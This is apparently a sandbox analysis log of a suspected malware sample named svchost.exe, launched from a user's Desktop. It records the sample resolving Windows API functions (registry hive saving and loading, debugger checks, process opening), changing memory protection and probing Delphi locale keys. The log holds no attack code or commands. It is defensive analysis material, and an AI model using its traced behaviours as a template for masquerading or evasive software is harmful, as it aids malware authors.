# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Mar 3 2020 14:14:30 # Log Creation Date: 05.05.2020 15:52:31.090 Process: id = "1" image_name = "svchost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svchost.exe" page_root = "0x977a000" os_pid = "0xa34" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa30 [0052.811] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76d30000 [0052.812] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0052.812] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0052.880] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0052.880] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0052.880] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0052.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0052.880] GetProcAddress (hModule=0x76d30000, lpProcName="QueryDosDeviceW") returned 0x76d6ceec [0052.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetACP") returned 0x76d4179c [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="LocalFree") returned 0x76d42d3c [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="SizeofResource") returned 0x76d45ac9 [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0 [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="GetFullPathNameW") returned 0x76d440d4 [0052.881] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfoExW") returned 0x76d6af0b [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTime") returned 0x76d45a96 [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="RtlUnwind") returned 0x76d6d1c3 [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="GetCPInfo") returned 0x76d45189 [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="EnumSystemLocalesW") returned 0x76dc425f [0052.882] GetProcAddress (hModule=0x76d30000, lpProcName="GetStdHandle") returned 0x76d451b3 [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="FileTimeToLocalFileTime") returned 0x76d4e29e [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="FreeLibrary") returned 0x76d434c8 [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="TryEnterCriticalSection") returned 0x77c72500 [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="HeapDestroy") returned 0x76d435b7 [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="FileTimeToDosDateTime") returned 0x76d5c86d [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="HeapSize") returned 0x77c73002 [0052.883] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="SetLastError") returned 0x76d411a9 [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="FindResourceW") returned 0x76d45971 [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="MapViewOfFile") returned 0x76d418f1 [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexW") returned 0x76d4424c [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0052.884] GetProcAddress (hModule=0x76d30000, lpProcName="ResetEvent") returned 0x76d416dd [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="FreeResource") returned 0x76d5d3db [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="RaiseException") returned 0x76d458a6 [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="FormatMessageW") returned 0x76d44620 [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="SwitchToThread") returned 0x76d5efec [0052.885] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeThread") returned 0x76d5d5b5 [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThread") returned 0x76d417ec [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesExW") returned 0x76d44574 [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryExW") returned 0x76d4495d [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="LockResource") returned 0x76d45959 [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentThreadId") returned 0x76d41450 [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="UnhandledExceptionFilter") returned 0x76d6772f [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualQuery") returned 0x76d4445a [0052.886] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualQueryEx") returned 0x76dc45cf [0052.887] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0052.887] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0052.887] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointer") returned 0x76d417d1 [0052.887] GetProcAddress (hModule=0x76d30000, lpProcName="LoadResource") returned 0x76d4594c [0052.887] GetProcAddress (hModule=0x76d30000, lpProcName="SuspendThread") returned 0x76d67d7e [0052.887] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0052.887] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSize") returned 0x76d4196e [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="GetStartupInfoW") returned 0x76d44d40 [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadPriority") returned 0x76d443bf [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadPriority") returned 0x76d432bb [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0052.888] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0052.889] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemInfo") returned 0x76d449ca [0052.889] GetProcAddress (hModule=0x76d30000, lpProcName="GetTempPathW") returned 0x76d5d4dc [0052.889] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0052.889] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0052.889] GetProcAddress (hModule=0x76d30000, lpProcName="ResumeThread") returned 0x76d443ef [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDriveStringsW") returned 0x76dc436f [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExW") returned 0x76d41ae5 [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="VerifyVersionInfoW") returned 0x76d5d423 [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="HeapCreate") returned 0x76d44a2d [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="GetDiskFreeSpaceW") returned 0x76d5f7aa [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="VerSetConditionMask") returned 0x77cb92b9 [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="GetUserDefaultUILanguage") returned 0x76d444ab [0052.890] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleOutputCP") returned 0x76d59b0f [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="UnmapViewOfFile") returned 0x76d41826 [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleCP") returned 0x76de7bff [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0052.891] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="MultiByteToWideChar") returned 0x76d4192e [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryW") returned 0x76d4492b [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="SetEvent") returned 0x76d416c5 [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="IsDBCSLeadByteEx") returned 0x76d6cf4e [0052.892] GetProcAddress (hModule=0x76d30000, lpProcName="FreeConsole") returned 0x76de6aa8 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocalTime") returned 0x76d45aa6 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="GetConsoleWindow") returned 0x76de7c7d [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileMappingW") returned 0x76d41909 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="ExitThread") returned 0x77c9d598 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0052.893] GetProcAddress (hModule=0x76d30000, lpProcName="GetDateFormatW") returned 0x76d634d7 [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="TlsGetValue") returned 0x76d411e0 [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="IsValidLocale") returned 0x76d5ce46 [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="TlsSetValue") returned 0x76d414fb [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemDefaultUILanguage") returned 0x76d62b22 [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="EnumCalendarInfoW") returned 0x76dc41ff [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="LocalAlloc") returned 0x76d4168c [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="RemoveDirectoryW") returned 0x76dc44cf [0052.894] GetProcAddress (hModule=0x76d30000, lpProcName="CreateEventW") returned 0x76d4183e [0052.895] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadLocale") returned 0x76d489d9 [0052.895] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadLocale") returned 0x76d435cf [0052.895] GetModuleHandleA (lpModuleName="shell32.dll") returned 0x759d0000 [0052.895] GetProcAddress (hModule=0x759d0000, lpProcName="SHGetSpecialFolderPathW") returned 0x759f0468 [0052.895] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteW") returned 0x759e3c71 [0052.895] GetModuleHandleA (lpModuleName="version.dll") returned 0x75670000 [0052.895] GetProcAddress (hModule=0x75670000, lpProcName="GetFileVersionInfoSizeW") returned 0x756719d9 [0052.895] GetProcAddress (hModule=0x75670000, lpProcName="VerQueryValueW") returned 0x75671b51 [0052.896] GetProcAddress (hModule=0x75670000, lpProcName="GetFileVersionInfoW") returned 0x756719f4 [0052.896] GetModuleHandleA (lpModuleName="user32.dll") returned 0x77130000 [0052.896] GetProcAddress (hModule=0x77130000, lpProcName="CharUpperBuffW") returned 0x7714fc5d [0052.896] GetProcAddress (hModule=0x77130000, lpProcName="CharNextW") returned 0x77148151 [0052.896] GetProcAddress (hModule=0x77130000, lpProcName="MsgWaitForMultipleObjects") returned 0x77150b4a [0052.896] GetProcAddress (hModule=0x77130000, lpProcName="ShowWindow") returned 0x77150dfb [0052.896] GetProcAddress (hModule=0x77130000, lpProcName="CharLowerBuffW") returned 0x7714760b [0052.896] GetProcAddress (hModule=0x77130000, lpProcName="LoadStringW") returned 0x77148eb9 [0052.896] GetProcAddress (hModule=0x77130000, lpProcName="CharUpperW") returned 0x7714f350 [0052.897] GetProcAddress (hModule=0x77130000, lpProcName="PeekMessageW") returned 0x771505ba [0052.897] GetProcAddress (hModule=0x77130000, lpProcName="GetSystemMetrics") returned 0x77147d2f [0052.897] GetProcAddress (hModule=0x77130000, lpProcName="MessageBoxW") returned 0x7719fd3f [0052.897] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x76e40000 [0052.897] GetProcAddress (hModule=0x76e40000, lpProcName="SysAllocStringLen") returned 0x76e445d2 [0052.897] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayPtrOfIndex") returned 0x76e5e1ce [0052.897] GetProcAddress (hModule=0x76e40000, lpProcName="VariantCopy") returned 0x76e448f1 [0052.897] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetLBound") returned 0x76e5e173 [0052.897] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayGetUBound") returned 0x76e5e127 [0052.898] GetProcAddress (hModule=0x76e40000, lpProcName="VariantInit") returned 0x76e43ed5 [0052.898] GetProcAddress (hModule=0x76e40000, lpProcName="VariantClear") returned 0x76e43eae [0052.898] GetProcAddress (hModule=0x76e40000, lpProcName="SysFreeString") returned 0x76e43e59 [0052.898] GetProcAddress (hModule=0x76e40000, lpProcName="SysReAllocStringLen") returned 0x76e47810 [0052.898] GetProcAddress (hModule=0x76e40000, lpProcName="VariantChangeType") returned 0x76e45dee [0052.898] GetProcAddress (hModule=0x76e40000, lpProcName="SafeArrayCreate") returned 0x76e5e263 [0052.898] GetModuleHandleA (lpModuleName="netapi32.dll") returned 0x75650000 [0052.898] GetProcAddress (hModule=0x75650000, lpProcName="NetWkstaGetInfo") returned 0x75655570 [0052.898] GetProcAddress (hModule=0x75650000, lpProcName="NetApiBufferFree") returned 0x756413d2 [0052.899] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77710000 [0052.899] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0052.899] GetProcAddress (hModule=0x77710000, lpProcName="RegConnectRegistryW") returned 0x77718f01 [0052.899] GetProcAddress (hModule=0x77710000, lpProcName="RegEnumKeyExW") returned 0x777246c8 [0052.899] GetProcAddress (hModule=0x77710000, lpProcName="RegLoadKeyW") returned 0x77753473 [0052.899] GetProcAddress (hModule=0x77710000, lpProcName="RegDeleteKeyW") returned 0x77721272 [0052.899] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryInfoKeyW") returned 0x777246e7 [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegUnLoadKeyW") returned 0x77753493 [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegSaveKeyW") returned 0x77737a9b [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegDeleteValueW") returned 0x7771cf31 [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegReplaceKeyW") returned 0x77770b89 [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegFlushKey") returned 0x7773773f [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0052.900] GetProcAddress (hModule=0x77710000, lpProcName="RegEnumValueW") returned 0x777248cc [0052.901] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0052.901] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0052.901] GetProcAddress (hModule=0x77710000, lpProcName="RegRestoreKeyW") returned 0x77737cba [0052.921] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0052.971] SetThreadLocale (Locale=0x400) returned 1 [0053.044] GetVersion () returned 0x1db10106 [0053.044] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadPreferredUILanguages") returned 0x76dc47a1 [0053.044] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.044] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadPreferredUILanguages") returned 0x76dd79e5 [0053.044] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.044] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadUILanguage") returned 0x76d6cf14 [0053.058] GetSystemInfo (in: lpSystemInfo=0x18fcb8 | out: lpSystemInfo=0x18fcb8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0053.127] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.exe\" " [0053.127] GetStartupInfoW (in: lpStartupInfo=0x18fc94 | out: lpStartupInfo=0x18fc94*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4, hStdOutput=0x24a, hStdError=0x1f80)) [0053.127] GetACP () returned 0x4e4 [0053.127] GetCurrentThreadId () returned 0xa30 [0053.127] GetVersion () returned 0x1db10106 [0053.136] GetVersionExW (in: lpVersionInformation=0x18fbd8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x18fc2c, dwBuildNumber=0x66f740, dwPlatformId=0x18fc88, szCSDVersion="͢矇矆﫚矅盁￿￿%") | out: lpVersionInformation=0x18fbd8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.153] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x18da98, nSize=0x20a | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svchost.exe")) returned 0x31 [0053.153] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18d882, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\svchost.exe")) returned 0x31 [0053.202] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x1ef0000 [0053.296] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d7fc | out: phkResult=0x18d7fc*=0x0) returned 0x2 [0053.296] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d7fc | out: phkResult=0x18d7fc*=0x0) returned 0x2 [0053.297] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d7fc | out: phkResult=0x18d7fc*=0x0) returned 0x2 [0053.297] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d7fc | out: phkResult=0x18d7fc*=0x0) returned 0x2 [0053.297] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d7fc | out: phkResult=0x18d7fc*=0x0) returned 0x2 [0053.297] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d7fc | out: phkResult=0x18d7fc*=0x0) returned 0x2 [0053.297] GetUserDefaultUILanguage () returned 0x409 [0053.298] IsValidLocale (Locale=0x409, dwFlags=0x2) returned 1 [0053.298] GetThreadUILanguage () returned 0x180409 [0053.298] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d7d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d800 | out: pulNumLanguages=0x18d7d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d800) returned 1 [0053.298] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d7d8, pwszLanguagesBuffer=0x201a680, pcchLanguagesBuffer=0x18d800 | out: pulNumLanguages=0x18d7d8, pwszLanguagesBuffer=0x201a680, pcchLanguagesBuffer=0x18d800) returned 1 [0053.299] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.en-US", lpFindFileData=0x18d5a0 | out: lpFindFileData=0x18d5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x12b, ftCreationTime.dwHighDateTime=0x1010004, ftLastAccessTime.dwLowDateTime=0x18d4e4, ftLastAccessTime.dwHighDateTime=0x3, ftLastWriteTime.dwLowDateTime=0x18d810, ftLastWriteTime.dwHighDateTime=0x12b, nFileSizeHigh=0x133a61, nFileSizeLow=0xfffffffe, dwReserved0=0x5000005, dwReserved1=0xab, cFileName="", cAlternateFileName="跜Ȃ놘@.")) returned 0xffffffff [0053.299] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.en", lpFindFileData=0x18d5a0 | out: lpFindFileData=0x18d5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x12b, ftCreationTime.dwHighDateTime=0x1010004, ftLastAccessTime.dwLowDateTime=0x18d4e4, ftLastAccessTime.dwHighDateTime=0x3, ftLastWriteTime.dwLowDateTime=0x18d810, ftLastWriteTime.dwHighDateTime=0x12b, nFileSizeHigh=0x133a61, nFileSizeLow=0xfffffffe, dwReserved0=0x5000005, dwReserved1=0xab, cFileName="", cAlternateFileName="跜Ȃ놘@.")) returned 0xffffffff [0053.299] GetUserDefaultUILanguage () returned 0x409 [0053.299] GetLocaleInfoW (in: Locale=0x409, LCType=0x3, lpLCData=0x18d81c, cchData=4 | out: lpLCData="ENU") returned 4 [0053.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.ENU", lpFindFileData=0x18d5a8 | out: lpFindFileData=0x18d5a8*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d4e4, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d810, ftLastAccessTime.dwHighDateTime=0x12b, ftLastWriteTime.dwLowDateTime=0x133a61, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x5000005, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x66f338, cFileName="杈g4쀀", cAlternateFileName="跜Ȃ놘@.")) returned 0xffffffff [0053.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\svchost.EN", lpFindFileData=0x18d5a8 | out: lpFindFileData=0x18d5a8*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d4e4, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d810, ftLastAccessTime.dwHighDateTime=0x12b, ftLastWriteTime.dwLowDateTime=0x133a61, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x5000005, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x66f338, cFileName="杈g4쀀", cAlternateFileName="跜Ȃ놘@.")) returned 0xffffffff [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffce, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Method called on disposed object") returned 0x20 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffcd, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Feature not implemented") returned 0x17 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffcc, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Monitor support function not initialized") returned 0x28 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffcb, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Object lock not owned") returned 0x15 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffca, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffc9, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffc7, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffc8, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffc3, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0053.301] LoadStringW (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0053.302] LoadStringW (in: hInstance=0x400000, uID=0xffd9, lpBuffer=0x18dcc8, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0053.302] 